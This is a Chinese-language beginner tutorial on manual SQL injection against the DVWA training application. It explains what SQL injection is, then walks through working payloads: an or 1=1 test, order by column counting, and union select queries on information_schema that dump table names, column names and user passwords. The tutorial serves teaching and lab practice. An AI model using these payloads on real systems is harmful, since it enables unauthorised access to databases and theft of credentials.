渗透测试基础之sql注入

1、什么是sql注入?

SQL注入攻击是通过将恶意的SQL查询或添加语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击,它目前是黑客对数据库进行攻击的最常用的手段之一。

2、sql注入能带来的威胁?

猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
绕过认证,列如绕过验证登录网站后台。
注入可以借助数据库的存储过程进行提权等操作。

3、手动sql注入演示

3.1、验证是否存在漏洞

输入1:

输入 1' or 1=1#:

我们是通过控制参数id的值来返回我们需要的信息。如果我们不按常理出牌,比如在输入框中输入1‘ or 1 = 1# 实际执行的SQL语句会变成。通过返回结果 ,我们可以判断此处存在sql注入。

3.2、猜测查询语句的字段数:

输入 1' order by 1#:

输入 1' order by 2#:

输入 1' order by 3#:

 

通过这三次访问,可以判断目前只查询两列数据,分别为first name和surname;

 

3.3、获取当前数据库

我们使用union select 联合查询继续获取信息。union运算符可以将两个或者两个以上select语句的查询结果集合合并成一个结果集显示,即执行联合查询。需要注意在使用union查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为2。

输入 1' union select 1,database() #

说明当前的数据库为dvwa,我们尝试获取dvwa数据库中的表名。information_schema是mysql自带的一张表,这张数据表保存了Mysql服务器所有数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段table_name和table_schema,分别记录DBMS中的存储的表名和表名所在的数据库。

输入   1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'#

说明数据库dvwa中一共有两个表,guestbook与users

3.4、获取表中的字段

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #

 

3.5、获取表中数据

输入 1' union select user, password from users#

posted @ 2020-04-02 18:17  hhwu  阅读(1284)  评论(0编辑  收藏  举报